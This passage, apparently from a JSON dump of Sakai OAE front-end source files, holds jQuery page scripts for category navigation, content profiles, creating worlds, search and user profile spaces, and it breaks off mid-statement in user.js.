* @return {Array} Array of strings representing the selected hierarchy\n         */\n        var getCategory = function(){\n            var category = $.bbq.getState(\"l\");\n            if (category) {\n                category = category.split(\"-\");\n            }\n            return category;\n        };\n\n        var doInit = function(){\n            var category = getCategory();\n            if (!$.isArray(category) || !sakai.config.Directory[category[0]]){\n                sakai.api.Security.send404();\n                return false;\n            }\n            sakai.config.Directory[category[0]].id = category[0];\n            generateNav(sakai.config.Directory[category[0]]);\n            createBreadcrumb(sakai.config.Directory[category[0]], category);\n        };\n\n        $(window).bind(\"lhnav.ready\", function(){\n            doInit();\n        });\n\n        $(window).bind(\"hashchange\", function(e, data){\n            var category = getCategory();\n            createBreadcrumb(sakai.config.Directory[category[0]], category);\n        });\n\n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"category\");\n});", "dev/javascript/content_profile.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.content_profile = function(){\n\n        var previous_content_path = false;\n        var content_path = \"\"; // The current path of the content\n        var ready_event_fired = 0;\n        var list_event_fired = false;\n        var intervalId;\n\n        var showPreview = true;\n        var collectionID = false;\n        var collectionName = false;\n        var isCollection = false;\n\n        ///////////////////////////////\n        // PRIVATE UTILITY FUNCTIONS //\n        ///////////////////////////////\n\n        /**\n         * Load the content profile for the current content path\n         * @param {Boolean} ignoreActivity Flag to also update activity data or not\n         */\n        var loadContentProfile = function(callback, ignoreActivity){\n            // Check whether there is actually a content path in the URL\n            if (content_path) {\n                // Get the content information, the members and managers and version information\n                sakai.api.Content.loadFullProfile(content_path, function(success, data){\n                    if (success) {\n                        if (data.results.hasOwnProperty(0)) {\n                            var contentInfo = false;\n                            if (data.results[0][\"status\"] === 404){\n                                sakai.api.Security.send404();\n                                return;\n                            } else if (data.results[0][\"status\"] === 403){\n                                sakai.api.Security.send403();\n                                return;\n                            } else {\n                                contentInfo = $.parseJSON(data.results[0].body);\n                                if (contentInfo[\"_mimeType\"] && contentInfo[\"_mimeType\"] === \"x-sakai/document\" || contentInfo[\"_mimeType\"] && contentInfo[\"_mimeType\"] === \"x-sakai/collection\"){\n                                    showPreview = false;\n                                } else {\n                                    switchToOneColumnLayout(false);\n                                }\n\n                                var collectionId = $.bbq.getState(\"collectionId\");\n                                var collectionName = $.bbq.getState(\"collectionName\");\n                                var currentPath = $.bbq.getState(\"p\");\n                                if(collectionId && collectionName && currentPath){\n                                    // Show go back to collection link\n                                    $(\"#back_to_collection_button #collection_title\").text(collectionName);\n                                    $(\"#back_to_collection_button\").attr(\"href\", \"/content#p=\" + collectionId + \"/\" + sakai.api.Util.safeURL(collectionName) + \"&item=\" + currentPath.split(\"/\")[0]);\n                                    $(\"#back_to_collection_container\").show(\"slow\");\n                                } else {\n                                    $(\"#back_to_collection_container\").hide(\"slow\");\n                                }\n                            }\n                        }\n\n                        sakai.api.Content.parseFullProfile(data.results, function(parsedData){\n                            parsedData.mode = \"content\";\n                            sakai_global.content_profile.content_data = parsedData;\n                            $(window).trigger(\"ready.contentprofile.sakai\", sakai_global.content_profile.content_data);\n                            if ($.isFunction(callback)) {\n                                callback(true);\n                            }\n                            initEntityWidget();\n\n                            if (!showPreview){\n                                renderSakaiDoc(parsedData.data);\n                            }\n                        });\n                    }\n                });\n            } else {\n                sakai.api.Security.send404();\n            }\n        };\n\n        var initEntityWidget = function(){\n            if (sakai_global.content_profile.content_data) {\n                var context = \"content\";\n                if (sakai.data.me.user.anon) {\n                    type = \"content_anon\";\n                } else if (sakai_global.content_profile.content_data.isManager) {\n                    type = \"content_managed\";\n                } else if (sakai_global.content_profile.content_data.isViewer) {\n                    type = \"content_shared\";\n                } else {\n                    type = \"content_not_shared\";\n                }\n                $(window).trigger(\"sakai.entity.init\", [context, type, sakai_global.content_profile.content_data]);\n            }\n        };\n\n        $(window).bind(\"sakai.entity.ready\", function(){\n            initEntityWidget();\n        });\n\n        $(window).bind(\"load.content_profile.sakai\", function(e, callback) {\n            loadContentProfile(callback);\n        });\n\n        var handleHashChange = function() {\n            content_path = $.bbq.getState(\"p\") || \"\";\n            content_path = content_path.split(\"/\");\n            content_path = \"/p/\" + content_path[0];\n\n            if (content_path != previous_content_path) {\n                previous_content_path = content_path;\n                globalPageStructure = false;\n                loadContentProfile(function(){\n                    // The request was successful so initialise the entity widget\n                    if (sakai_global.entity && sakai_global.entity.isReady) {\n                        $(window).trigger(\"render.entity.sakai\", [\"content\", sakai_global.content_profile.content_data]);\n                    }\n                    else {\n                        $(window).bind(\"ready.entity.sakai\", function(e){\n                            $(window).trigger(\"render.entity.sakai\", [\"content\", sakai_global.content_profile.content_data]);\n                            ready_event_fired++;\n                        });\n                    }\n                    // The request was successful so initialise the relatedcontent widget\n                    if (sakai_global.relatedcontent && sakai_global.relatedcontent.isReady) {\n                        $(window).trigger(\"render.relatedcontent.sakai\", sakai_global.content_profile.content_data);\n                    }\n                    else {\n                        $(window).bind(\"ready.relatedcontent.sakai\", function(e){\n                            $(window).trigger(\"render.relatedcontent.sakai\", sakai_global.content_profile.content_data);\n                            ready_event_fired++;\n                        });\n                    }\n                    // The request was successful so initialise the relatedcontent widget\n                    if (sakai_global.contentpreview && sakai_global.contentpreview.isReady) {\n                        if (showPreview) {\n                            $(window).trigger(\"start.contentpreview.sakai\", sakai_global.content_profile.content_data);\n                        }\n                    }\n                    else {\n                        $(window).bind(\"ready.contentpreview.sakai\", function(e){\n                            if (showPreview) {\n                                $(window).trigger(\"start.contentpreview.sakai\", sakai_global.content_profile.content_data);\n                                ready_event_fired++;\n                            }\n                        });\n                    }\n                    // The request was successful so initialise the metadata widget\n                    if (sakai_global.contentmetadata && sakai_global.contentmetadata.isReady) {\n                        $(window).trigger(\"render.contentmetadata.sakai\");\n                    }\n                    else {\n                        $(window).bind(\"ready.contentmetadata.sakai\", function(e){\n                            $(window).trigger(\"render.contentmetadata.sakai\");\n                            ready_event_fired++;\n                        });\n                    }                   \n                    sakai.api.Security.showPage();\n\n                    if(sakai_global.content_profile.content_data.data._mimeType === \"x-sakai/collection\"){\n                        $(\".collectionviewer_carousel_item.selected\").click();\n                    }\n\n                    // rerender comments widget\n                    $(window).trigger(\"content_profile_hash_change\");\n                });\n            }\n            showPreview = true;\n        };\n\n        $(\"#entity_content_share\").live(\"click\", function(){\n            $(window).trigger(\"init.sharecontent.sakai\");\n            return false;\n        });\n\n        $(\"#entity_content_add_to_library\").live(\"click\", function(){\n            sakai.api.Content.addToLibrary(sakai_global.content_profile.content_data.data[\"_path\"], sakai.data.me.user.userid, false, function(){\n                $(\"#entity_content_add_to_library\").hide();\n                sakai.api.Util.notification.show($(\"#content_profile_add_library_title\").html(), $(\"#content_profile_add_library_body\").html());\n            });\n        });\n\n        ////////////////////\n        // Initialisation //\n        ////////////////////\n\n        /**\n         * Initialise the content profile page\n         */\n        var init = function(){\n            // Bind an event to window.onhashchange that, when the history state changes,\n            // loads all the information for the current resource\n            $(window).bind('hashchange', function(){\n                handleHashChange();\n            });\n            handleHashChange();\n        };\n\n        // //////////////////////////\n        // Dealing with Sakai docs //\n        /////////////////////////////\n\n        var globalPageStructure = false;\n\n        var generateNav = function(pagestructure){\n            if (pagestructure) {\n                $(window).trigger(\"lhnav.init\", [pagestructure, {}, {\n                    parametersToCarryOver: {\n                        \"p\": sakai_global.content_profile.content_data.content_path.replace(\"/p/\", \"\")\n                    }\n                }, sakai_global.content_profile.content_data.content_path]);\n            }\n        };\n\n        $(window).bind(\"lhnav.ready\", function(){\n            generateNav(globalPageStructure);\n        });\n\n        var getPageCount = function(pagestructure){\n            var pageCount = 0;\n            for (var tl in pagestructure[\"structure0\"]){\n                if (pagestructure[\"structure0\"].hasOwnProperty(tl) && tl !== \"_childCount\"){\n                    pageCount++;\n                    if (pageCount >= 3){\n                        return 3;\n                    }\n                    for (var ll in pagestructure[\"structure0\"][tl]){\n                        if (ll.substring(0,1) !== \"_\"){\n                            pageCount++;\n                            if (pageCount >= 3){\n                                return 3;\n                            }\n                        }\n                    }\n                }\n            }\n            return pageCount;\n        };\n\n        $(window).bind(\"sakai.contentauthoring.needsTwoColumns\", function(){\n            switchToTwoColumnLayout(true);\n        });\n\n        $(window).bind(\"sakai.contentauthoring.needsOneColumn\", function(){\n            switchToOneColumnLayout(true);\n        });\n\n        var setManagerProperty = function(structure, value){\n            for (var i in structure){\n                if (structure.hasOwnProperty(i)){\n                    structure[i]._canEdit = value;\n                    structure[i]._canSubedit = value;\n                }\n            }\n            return structure;\n        };\n\n        var renderSakaiDoc = function(pagestructure){\n            pagestructure = sakai.api.Server.cleanUpSakaiDocObject(pagestructure);\n            pagestructure.structure0 = setManagerProperty(pagestructure.structure0, sakai_global.content_profile.content_data.isManager);\n            if (getPageCount(pagestructure) >= 3){\n                switchToTwoColumnLayout(true);\n            } else {\n                switchToOneColumnLayout(true);\n            }\n            globalPageStructure = pagestructure;\n            generateNav(pagestructure);\n        };\n\n        var switchToTwoColumnLayout = function(isSakaiDoc){\n            $(\"#content_profile_left_column\").show();\n            $(\"#content_profile_main_container\").addClass(\"s3d-twocolumn\");\n            $(\"#content_profile_right_container\").addClass(\"s3d-page-column-right\");\n            $(\"#content_profile_right_container\").removeClass(\"s3d-page-fullcolumn-padding\");\n            $(\"#content_profile_right_metacomments\").removeClass(\"fl-container-650\");\n            $(\"#content_profile_right_metacomments\").addClass(\"fl-container-450\");\n            if (isSakaiDoc){\n                $(\"#content_profile_preview_container\").hide();\n                $(\"#content_profile_sakaidoc_container\").show();\n            } else {\n                $(\"#content_profile_preview_container\").show();\n                $(\"#content_profile_sakaidoc_container\").hide();\n            }\n        };\n\n        var switchToOneColumnLayout = function(isSakaiDoc){\n            $(\"#content_profile_left_column\").hide();\n            $(\"#content_profile_main_container\").removeClass(\"s3d-twocolumn\");\n            $(\"#content_profile_right_container\").removeClass(\"s3d-page-column-right\");\n            $(\"#content_profile_right_container\").addClass(\"s3d-page-fullcolumn-padding\");\n            $(\"#content_profile_right_metacomments\").addClass(\"fl-container-650\");\n            $(\"#content_profile_right_metacomments\").removeClass(\"fl-container-450\");\n            if (isSakaiDoc){\n                $(\"#content_profile_preview_container\").hide();\n                $(\"#content_profile_sakaidoc_container\").show();\n            } else {\n                $(\"#content_profile_preview_container\").show();\n                $(\"#content_profile_sakaidoc_container\").hide();\n            }\n        };\n\n        // Initialise the content profile page\n        init();\n\n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"content_profile\");\n});\n", "dev/javascript/createnew.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.createnew = function() {\n\n        var pubdata = {\n            \"structure0\": {}\n        };\n\n        for (var i = 0; i < sakai.config.worldTemplates.length; i++){\n            var category = sakai.config.worldTemplates[i];\n            pubdata.structure0[category.id] = {\n                \"_order\": i,\n                \"_title\": sakai.api.i18n.getValueForKey(category.title),\n                \"_ref\": category.id\n            };\n            pubdata[category.id] = {\n                \"page\": \"<div id='widget_selecttemplate_\" + category.id + \"' class='widget_inline'></div>\"\n            };\n        }\n\n        var generateNav = function(){\n            $(window).trigger(\"lhnav.init\", [pubdata, {}, {}]);\n        };\n\n        var renderCreateGroup = function(){\n            $(window).trigger(\"sakai.newcreategroup.init\");\n        };\n\n        $(window).bind(\"lhnav.ready\", function(){\n            generateNav();\n        });\n\n        $(window).bind(\"newcreategroup.ready\", function(){\n            renderCreateGroup();\n        });\n\n        generateNav();\n        \n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"createnew\");\n});\n", "dev/javascript/search.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.search = function() {\n        var worldsOrderIncrement = 3;\n        var searchButton = \"#form .s3d-search-button\";\n        var searchInput = \"#form .s3d-search-inputfield\";\n        var searchUrl = sakai.config.URL.SEARCH_URL;\n        var pubdata = {\n            \"structure0\": {\n                \"all\": {\n                    \"_ref\": \"id9574379429432\",\n                    \"_order\": 0,\n                    \"_title\": sakai.api.i18n.getValueForKey(\"ALL_TYPES\"),\n                    \"_url\": searchUrl,\n                    \"main\": {\n                        \"_ref\": \"id9574379429432\",\n                        \"_order\": 0,\n                        \"_title\": sakai.api.i18n.getValueForKey(\"ALL_TYPES\"),\n                        \"_url\": searchUrl\n                    }\n                },\n                \"content\": {\n                    \"_ref\": \"id6573920372\",\n                    \"_order\": 1,\n                    \"_title\": sakai.api.i18n.getValueForKey(\"CONTENT\"),\n                    \"_url\": searchUrl,\n                    \"main\": {\n                        \"_ref\": \"id6573920372\",\n                        \"_order\": 0,\n                        \"_title\": sakai.api.i18n.getValueForKey(\"CONTENT\"),\n                        \"_url\": searchUrl\n                    }\n                },\n                \"people\": {\n                    \"_title\": sakai.api.i18n.getValueForKey(\"PEOPLE\"),\n                    \"_ref\": \"id49294509202\",\n                    \"_order\": 2,\n                    \"_url\": searchUrl,\n                    \"main\": {\n                        \"_ref\": \"id49294509202\",\n                        \"_order\": 0,\n                        \"_title\": sakai.api.i18n.getValueForKey(\"PEOPLE\"),\n                        \"_url\": searchUrl\n                     }\n                }\n            },\n            \"id9574379429432\": {\n                \"page\": \"<div id='widget_searchall' class='widget_inline'></div>\"\n            },\n            \"id6573920372\": {\n                \"page\": \"<div id='widget_searchcontent' class='widget_inline'></div>\"\n            },\n            \"id49294509202\": {\n                \"page\": \"<div id='widget_searchpeople' class='widget_inline'></div>\"\n            }\n        };\n\n        for (var c = 0; c < sakai.config.worldTemplates.length; c++) {\n            var category = sakai.config.worldTemplates[c];\n            var refId = sakai.api.Util.generateWidgetId();\n            var title = sakai.api.i18n.getValueForKey(category.titlePlural);\n            pubdata.structure0[category.id] = {\n                \"_title\": title,\n                \"_ref\": refId,\n                \"_order\": (c + worldsOrderIncrement),\n                \"_url\": searchUrl,\n                \"main\": {\n                    \"_ref\": refId,\n                    \"_order\": 0,\n                    \"_title\": title,\n                    \"_url\": searchUrl\n                }\n            };\n            var searchWidgetId = sakai.api.Util.generateWidgetId();\n            pubdata[refId] = {\n                \"page\": \"<div id='widget_searchgroups_\" + searchWidgetId + \"' class='widget_inline'></div>\"\n            };\n            pubdata[searchWidgetId] = {\n                \"category\": category.id\n            };\n        }\n\n        var fireSearch = function(){\n            $.bbq.pushState({\n                \"q\": $(searchInput).val(),\n                \"cat\": \"\",\n                \"refine\": $.bbq.getState(\"refine\")\n            }, 0);\n        };\n\n        ///////////////////\n        // Event binding //\n        ///////////////////\n\n        var eventBinding = function(){\n            $(searchInput).on(\"keydown\", function(ev){\n                if (ev.keyCode === 13) {\n                    fireSearch();\n                }\n            });\n\n            $(searchButton).on(\"click\", function(ev){\n                fireSearch();\n            });\n        };\n\n        var generateNav = function(){\n            $(window).trigger(\"lhnav.init\", [pubdata, {}, {}]);\n        };\n\n        var renderEntity = function(){\n            $(window).trigger(\"sakai.entity.init\", [\"search\"]);\n        };\n\n        $(window).bind(\"sakai.entity.ready\", function(){\n            renderEntity();\n        });\n\n        $(window).bind(\"lhnav.ready\", function(){\n            generateNav();\n        });\n\n        renderEntity();\n        generateNav();\n        eventBinding();\n\n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"search\");\n});\n", "dev/javascript/user.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.profile = sakai_global.profile || {};\n    sakai_global.profile.main = sakai_global.profile.main || {};\n    $.extend(true, sakai_global.profile.main, {\n        config: sakai.config.Profile.configuration.defaultConfig,\n        data: {},\n        mode: {\n            options: [\"view\", \"edit\"],\n            value: \"view\"\n        }\n    });\n\n    sakai_global.user = function() {\n\n        var privdata = false;\n        var pubdata = false;\n        var privurl = false;\n        var puburl = false;\n        var messageCounts = false;\n        var isMe = false;\n        var entityID = false;\n        var isContact = false;\n\n        var contextType = false;\n        var contextData = false;\n\n        var setupProfileSection = function( title, section ) {\n            var ret = {\n                _ref: sakai.api.Util.generateWidgetId(),\n                _order: section.order,\n                _altTitle: section.label,\n                _title: section.label,\n                _nonEditable: true,\n                _view: section.permission\n            };\n            // _reorderOnly is only true for the basic profile\n            ret._reorderOnly = title === \"basic\";\n            return ret;\n        };\n\n        var setupProfile = function( structure, isMe ) {\n            var firstWidgetRef = \"\";\n            var profilestructure = {\n                _title: structure.structure0.profile._title,\n                _altTitle: structure.structure0.profile._altTitle,\n                _order: structure.structure0.profile._order\n            };\n            if ( isMe ) {\n                profilestructure[\"_canEdit\"] = true;\n                profilestructure[\"_nonEditable\"] = true;\n                profilestructure[\"_reorderOnly\"] = true;\n                profilestructure[\"_canSubedit\"] = true;\n            }\n            var newProfile = true;\n            $.each( structure.structure0.profile, function( key, section ) {\n                if ( $.isPlainObject( section ) ) {\n                    newProfile = false;\n                }\n            });\n            if ( newProfile ) {\n                structure.structure0.profile = {};\n            }\n            var initialProfilePost = [];\n            var paths = [];\n            var permissions = [];\n            var updateStructure = false;\n            $.each(sakai.config.Profile.configuration.defaultConfig, function(title, section) {\n                var widgetUUID = sakai.api.Util.generateWidgetId();\n                if ( !newProfile && structure.structure0.profile.hasOwnProperty( title ) ) {\n                    profilestructure[ title ] = structure.structure0.profile[ title ];\n                } else if ( newProfile || !structure.structure0.profile.hasOwnProperty( title )) {\n                    profilestructure[ title ] = setupProfileSection( title, section );\n                    if (title !== \"basic\"){\n                        paths.push(\"/~\" + sakai.data.me.user.userid + \"/public/authprofile/\" + title);\n                        permissions.push(section.permission);\n                    }\n                    if (section.order === 0) {\n                        firstWidgetRef = profilestructure[ title ]._ref;\n                    }\n                    initialProfilePost.push({\n                        \"url\": \"/~\" + sakai.data.me.user.userid + \"/public/authprofile/\" + title,\n                        \"method\": \"POST\",\n                        \"parameters\": {\n                            \"init\": true\n                        }\n                    });\n                }\n                // Don't need to use these from the profile, gives us more flexibility on the profile itself\n                structure[ profilestructure[ title ]._ref ] = {\n                    page: \"<div id='widget_displayprofilesection_\" + widgetUUID + \"' class='widget_inline'/>\"\n                };\n                structure[ widgetUUID ] = {\n                    sectionid: title\n                };\n            });\n\n            // Eliminate extra sections in the profile that are hanging around\n            $.each( structure.structure0.profile, function( section_title, section_data ) {\n                if ( $.isPlainObject( section_data ) && !profilestructure.hasOwnProperty( section_title ) ) {\n                    initialProfilePost.push({\n                        \"url\": \"/~\" + sakai.data.me.user.userid + \"/public/authprofile/\" + section_title,\n                        \"method\": \"POST\",\n                        \"parameters\": {\n                            \":operation\": \"delete\"\n                        }\n                    });\n                }\n            });\n\n            if ( isMe && initialProfilePost.length ) {\n                updateStructure = true;\n                sakai.api.Server.batch(initialProfilePost, function(success, data){\n                    if (success) {\n                        sakai.api.Content.setACLsOnPath(paths, permissions, sakai.data.me.user.userid, function(success){\n                            if (!success){\n                                debug.error(\"Error setting initial profile ACLs\");\n                            }\n                        });\n                    } else {\n                        debug.error(\"Error saving initial profile fields\");\n                    }\n                });\n            }\n\n            structure.structure0.profile = profilestructure;\n            structure.structure0.profile._ref = firstWidgetRef;\n            return updateStructure;\n        };\n\n        var continueLoadSpaceData = function(userid){\n            var publicToStore = false;\n            var privateToStore = false;\n\n            // Load public data from /~userid/private/pubspace\n            sakai.api.Server.loadJSON(puburl, function(success, data){\n                if (!success){\n                    pubdata = $.extend(true, {}, sakai.config.defaultpubstructure);\n                    var refid = {\"refid\": sakai.api.Util.generateWidgetId()};\n                    pubdata = sakai.api.Util.replaceTemplateParameters(refid, pubdata);\n                } else {\n                    pubdata = data;\n                    pubdata = sakai.api.Server.cleanUpSakaiDocObject(pubdata);\n                }\n                if (!isMe){\n                    pubdata.structure0 = setManagerProperty(pubdata.structure0, false);\n                    for (var i in pubdata.structure0) {\n                        if (pubdata.structure0.hasOwnProperty(i)){\n                            pubdata.structure0[i] = determineUserAreaPermissions(pubdata.structure0[i]);\n                        }\n                    }\n                }\n                if ( pubdata.structure0.profile && setupProfile( pubdata, isMe ) ) {\n                    publicToStore = $.extend(true, {}, pubdata);\n                }\n                if (isMe){\n                    sakai.api.Server.loadJSON(privurl, function(success2, data2){\n                        if (!success2){\n                            privdata = $.extend(true, {}, sakai.config.defaultprivstructure);\n                            var refid = {\"refid\": sakai.api.Util.generateWidgetId()};\n                            privdata = sakai.api.Util.replaceTemplateParameters(refid, privdata);\n                            privateToStore = $.extend(true, {}, privdata);\n                        } else {\n                            privdata = data2;\n                            privdata = sakai.api.Server.cleanUpSakaiDocObject(privdata);\n                        }\n                        if (publicToStore) {\n                            if ($.isPlainObject(publicToStore.structure0)) {\n                                publicToStore.structure0 = $.toJSON(publicToStore.structure0);\n                            }\n                            sakai.api.Server.saveJSON(puburl, publicToStore);\n                        }\n                        if (privateToStore) {\n                            if ($.isPlainObject(privateToStore.structure0)) {\n                                privateToStore.structure0 = $.toJSON(privateToStore.structure0);\n                            }\n                            sakai.api.Server.saveJSON(privurl, privateToStore);\n                        }\n                        pubdata.structure0 = setManagerProperty(pubdata.structure0, true);\n                        generateNav();\n                    });\n                } else {\n                    generateNav();\n                }\n            });\n        };\n\n        var loadSpaceData = function(){\n            var userid;\n            if (!entityID || entityID == sakai.data.me.user.userid) {\n                isMe = true;\n                userid = sakai.data.me.user.userid;\n            } else {\n                userid = entityID;\n            }\n            privurl = \"/~\" + sakai.api.Util.safeURL(userid) + \"/private/privspace\";\n            puburl = \"/~\" + sakai.api.Util.safeURL(userid) + \"/public/pubspace\";\n            if (isMe){\n                sakai.api.Communication.getUnreadMessagesCountOverview(\"inbox\", function(success, counts){\n                    messageCounts = counts;\n                    continueLoadSpaceData(userid);\n                });\n            } else {\n                continueLoadSpaceData(userid);\n            }\n\n        };\n\n        var addCounts = function(){\n            if (pubdata && pubdata.structure0) {\n                if (contextData && contextData.profile && contextData.profile.counts) {\n                    addCount(pubdata, \"library\", contextData.profile.counts[\"contentCount\"]);\n                    addCount(pubdata, \"memberships\", contextData.profile.counts[\"membershipsCount\"]);\n                    if (isMe) {\n                        var contactCount = 0;\n                        // determine the count of contacts to list in lhnav\n                        if (sakai.data.me.contacts.ACCEPTED && sakai.data.me.contacts.INVITED){\n                            contactCount = sakai.data.me.contacts.ACCEPTED + sakai.data.me.contacts.INVITED;\n                        } else if (sakai.data.me.contacts.ACCEPTED){\n                            contactCount = sakai.data.me.contacts.ACCEPTED;\n                        } else if (sakai.data.me.contacts.INVITED){\n                            contactCount = sakai.data.me.contacts.INVITED;\n                        }\n                        addCount(pubdata, \"contacts\", contactCount);\n                        addCount(privdata, \"messages\", sakai.data.me.messages.unread);\n                        if (messageCounts && messageCounts.count && messageCounts.count.length) {\n                            for (var i = 0; i < messageCounts.count.length; i++) {\n                                if (messageCounts.count[i].group && messageCounts.count[i].group === \"message\") {\n                                    addCount(privdata, \"messages/inbox\", messageCounts.count[i].count);\n                                }\n                                if (messageCounts.count[i].group && messageCounts.count[i].group === \"invitation\") {\n                                    addCount(privdata, \"messages/invitations\", messageCounts.count[i].count);\n                                }\n                            }\n                        }\n                    } else {\n                        addCount(pubdata, \"contacts\", contextData.profile.counts[\"contactsCount\"]);\n                    }\n                }\n            }\n        };\n\n        var determineUserAreaPermissions = function(structure){\n            var permission = structure._view || \"anonymous\";\n            if (permission === \"contacts\" && isContact) {\n                structure._canView = true;\n            } else if (permission === \"everyone\" && !sakai.data.me.user.anon) {\n                structure._canView = true;\n            } else if (permission === \"anonymous\") {\n                structure._canView = true;\n            } else {\n                structure._canView = false;\n            }\n            for (var i in structure) {\n                if (structure.hasOwnProperty(i) && i.substring(0, 1) !== \"_\") {\n                    structure[i] = determineUserAreaPermissions(structure[i]);\n                }\n            }\n            return structure;\n        };\n\n        var setManagerProperty = function(structure, value){\n            for (var i in structure){\n                if (structure.hasOwnProperty(i) && i.substring(0, 1) !== \"_\" && typeof structure[i] === \"object\") {\n                    structure[i]._canEdit = value;\n                    structure[i]._canSubedit = value;\n                    structure[i] = setManagerProperty(structure[i], value);\n                }\n            }\n            return structure;\n        };\n\n        var addCount = function(pubdata, pageid, count){\n            if (pageid.indexOf(\"/\") !== -1) {\n                var split = pageid.split(\"/\");\n                if (pubdata.structure0 && pubdata.structure0[split[0]] && pubdata.structure0[split[0]][split[1]]) {\n                    pubdata.structure0[split[0]][split[1]]._count = count;\n                }\n            } else {\n                if (pubdata.structure0 && pubdata.structure0[pageid]) {\n                    pubdata.structure0[pageid]._count = count;\n                }\n            }\n        };\n\n        var getUserPicture = function(profile, userid){\n            var picture = \"\";\n            if (profile.picture) {\n                var picture_name = $.parseJSON(profile.picture).name;\n                picture = \"/~\" + sakai.api.Util.safeURL(userid) + \"/public/profile/\" + picture_name;\n            }\n            return picture;\n        };\n\n        var determineContext = function(){\n            entityID = sakai.api.Util.extractEntity(window.location.pathname);\n            if (entityID && entityID !== sakai.data.me.user.userid){\n                sakai.api.User.getUser(entityID, getProfileData);\n            } else if (!sakai.data.me.user.anon){\n                if (entityID){\n                    document.location = \"/me\" + window.location.hash;\n                    return;\n                }\n                sakai.api.Security.showPage();\n                contextType = \"user_me\";\n                // Set the profile data object\n                sakai_global.profile.main.data = $.extend(true, {}, sakai.data.me.profile);\n                sakai_global.profile.main.mode.value = \"edit\";\n                contextData = {\n                    \"profile\": sakai.data.me.profile,\n                    \"displayName\": sakai.api.User.getDisplayName(sakai.data.me.profile),\n                    \"userid\": sakai.data.me.user.userid,\n                    \"picture\": getUserPicture(sakai.data.me.profile, sakai.data.me.user.userid),\n                    \"addArea\": \"user\"\n                };\n                document.title = document.title + \" \" + sakai.api.Util.Security.unescapeHTML(contextData.displayName);\n                renderEntity();\n                loadSpaceData();\n            } else {\n                sakai.api.Security.sendToLogin();\n            }\n        };\n\n        var getProfileData = function(exists, profile){\n            if (!profile) {\n                sakai.api.Security.sendToLogin();\n            } else {\n                sakai.api.Security.showPage();\n                // Set the profile data object\n                sakai_global.profile.main.data = $.extend(true, {}, profile);\n                contextData = {\n                    \"profile\": profile,\n                    \"displayName\": sakai.api.User.getDisplayName(profile),\n                    \"userid\": entityID,\n                    \"altTitle\": true,\n                    \"picture\": getUserPicture(profile, entityID)\n                };\n                document.title = document.title + \" \" + sakai.api.Util.Security.unescapeHTML(contextData.displayName);\n                if (sakai.data.me.user.anon) {\n                    contextType = \"user_anon\";\n                    renderEntity();\n                    loadSpaceData();\n                } else {\n                    sakai.api.User.getContacts(checkContact);\n                }\n            }\n        };\n\n        var checkContact = function(){\n            var contacts = sakai.data.me.mycontacts;\n            var isContactInvited = false;\n            var isContactPending = false;\n            for (var i = 0; i < contacts.length; i++){\n                if (contacts[i].profile.userid === entityID){\n                    if (contacts[i].details[\"sakai:state\"] === \"ACCEPTED\") {\n                        isContact = true;\n                    } else if (contacts[i].details[\"sakai:state\"] === \"INVITED\"){\n                        isContactInvited = true;\n                    } else if (contacts[i].details[\"sakai:state\"] === \"PENDING\"){\n                        isContactPending = true;\n                    }\n                }\n            }\n            if (isContact){\n                contextType = \"contact\";\n            } else if (isContactInvited){\n                contextType = \"contact_invited\";\n            } else if (isContactPending){\n                contextType = \"contact_pending\";\n            } else {\n                contextType = \"user_other\";\n            }\n            renderEntity();\n            loadSpaceData();\n        };\n\n        var generateNav = function(){\n            addCounts();\n            sakai_global.user.pubdata = pubdata;\n            if (contextType && contextType === \"user_me\" && contextData && pubdata && privdata) {\n                $(window).trigger(\"lhnav.init\", [pubdata, privdata, contextData, puburl, privurl]);\n            } else if (contextType && contextType !== \"user_me\" && contextData && pubdata) {\n                $(window).trigger(\"lhnav.init\", 